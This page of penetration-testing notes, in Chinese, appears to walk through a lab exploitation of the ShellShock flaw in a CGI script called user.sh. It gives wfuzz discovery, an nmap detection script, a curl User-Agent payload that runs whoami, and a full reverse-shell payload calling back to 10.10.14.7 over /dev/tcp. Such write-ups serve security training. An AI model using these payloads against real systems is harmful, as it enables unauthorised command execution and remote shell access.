> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/shellshock-attack/shellshock-user.sh-pentesting-web.md).
# ShellShock user.sh
## ShellShock
#### 搜索可利用文件
我们筛选具有如下扩展名的文件，例如 `.sh`, `.pl`，或 `.cgi`:
```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```
该 **user.sh** 文件已被识别。该脚本似乎是动态的，可能存在漏洞。
#### 漏洞检测
我们使用下面的 Nmap 脚本来测试漏洞：
```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```
扫描确认文件 **user.sh** 存在 ShellShock 漏洞。
#### 命令执行
为了测试命令执行，我们使用 **curl** 带有恶意 User-Agent：
```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /usr/bin/whoami"
```
这会返回当前活跃用户的名称。
#### 反向 Shell
要获得反向 Shell：
1. 在 443 端口上监听：
```bash
nc -nlvp 443
```
2. 注入下面的载荷：
{% code overflow="wrap" %}
```bash
-H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```
{% endcode %}
```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```
---
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